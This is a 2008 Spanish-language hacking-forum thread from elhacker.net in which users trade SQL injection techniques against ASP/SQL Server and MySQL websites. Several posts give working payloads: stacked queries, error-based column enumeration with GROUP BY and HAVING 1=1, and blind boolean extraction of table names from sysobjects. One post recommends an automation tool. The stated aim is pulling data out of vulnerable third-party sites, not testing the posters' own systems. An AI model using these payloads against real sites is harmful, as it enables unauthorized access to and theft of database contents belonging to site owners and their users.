Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Bugs y Exploits => Hacking => Nivel Web => Mensaje iniciado por: bacterio en 21 Febrero 2008, 16:07 PM

Título: Duda SQL injection en SQL Server
Publicado por: bacterio en 21 Febrero 2008, 16:07 PM
Hola,

tengo un problema y es que en la mayoria de sitios en asp que usan sql server y son vulnerables, una vez he obtenido una sentencia válida me salta este error y no puedo axtraer ningun valor de la DB:

Conflicto de tipos de operandos: text es incompatible con int

Alguien sabe como solucionarlo?

saludos
Título: Re: Duda SQL injection en SQL Server
Publicado por: zhyzura en 22 Febrero 2008, 06:28 AM
cual es la sentecia que estas utilizando??

lo mas seguro es que estas utilizando UNION y estas intentando unir dos campos que son de diferente tipo
Título: Re: Duda SQL injection en SQL Server
Publicado por: Azielito en 22 Febrero 2008, 16:45 PM
Yo tengo una duda XD

tengo un server MySQL, en un "apartado" podes poner la comilla simple y te da un error mostrando el resto de la consulta SQL, lo que quiero es averiguar el nombre de las tablas que hay para ver si puedo sacar "datos interesantes", me dejo hacer
Código (sql) [Seleccionar]
'; show tables; sin problemas :) pero no me mostro las tablas ¬¬, no marco error lo que indica que efectivamente, ejecuto el comando '
Código (sql) [Seleccionar]
show tables
pero como hacer para mostrar esos datos en pantalla?

gracias! ñ_ñ



PD: seguro que esto va en hacking avanzado?
Título: Re: Duda SQL injection en SQL Server
Publicado por: [{O_o}] en 23 Febrero 2008, 14:41 PM
Trata SELECT name FROM sysobjects where name like "%u" o si no para mi la mejor forma siempre es tratar de explotar el error de sql y asi podremos obtener datos de la tabla. Ej: http://www.server.com/news.asp?id=[SQL] se puede explotar de mucha maneras resultado:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'NEWS.PageTitle' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/functions/dbfunctions.asp, line 185

Ya tenermos nuestro primer campo podemos usar el gruop by [Campo] hasta q la web de el resultado deseado

Ej:
http://www.server.com/news.asp?id=1%20group by NEWS.PageTitle

NEWS.PageTitle

NEWS <------ Tabla
PAgeTitle <------- Campo

Tambien se puede saber el nombre de cualquier campo usando una operacion usando un blind sql injection
Ej:
Al usar el la Ej: http://www.server.com/news.asp?id=1 and 1=1-- muestra un dato en la web el cual es verdadero
si utilizamos Ej: http://www.server.com/news.asp?id=1 and 1=2--  es falso muestra otro datos en la web
Ya que conocemos cual son las respuesta en los caso FALSE and TRUE podemos usar esta sentencia

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)))<97

convierte a caract + minuscala + extrae + de la tabla una si la primera letra es  < 97 en ascii asi tendremos un resultado de la primera letra
este proceso se puede repetir hasta encontra la primera letra del nombre de la tabla para la segunda solo cambiamos

AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,2)))<97 y continua el proceso hasta tener el nombre completo

este es un proceso largo por eso te recomiendo que uses sqlbrute para window que lo hace de manera automatica.

Espero que se a de tu ayuda y recuerda que hay miles de pagina con info sobre sql injection.
Pero si no solo dejame saber..... :)
Título: Re: Duda SQL injection en SQL Server
Publicado por: Azielito en 12 Marzo 2008, 00:34 AM
encontre en inet otra forma xD
Código (sql) [Seleccionar]
' having 1=1 --
entonces nos da un campo de la tabla :D ahora toca  hacer
Código (sql) [Seleccionar]
'%20GROUP%20BY%20tabla.camoErr1%20HAVING%201=1%20--
/* Luego */
'%20GROUP%20BY%20tabla.camoErr1,tabla.camoErr2%20HAVING%201=1%20--

y asi hasta obtener el nombre de los campos :D

ayudo mucho tu comentario seño [{O_o}]
Título: Re: Duda SQL injection en SQL Server
Publicado por: [{O_o}] en 12 Marzo 2008, 21:47 PM
thks

Azielito